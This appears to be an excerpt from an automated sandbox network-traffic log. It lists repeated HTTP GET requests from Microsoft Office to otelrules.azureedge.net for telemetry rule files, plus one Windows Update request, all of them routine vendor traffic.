Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Rog2UAh6byGHZBm&MD=DSVsValv HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
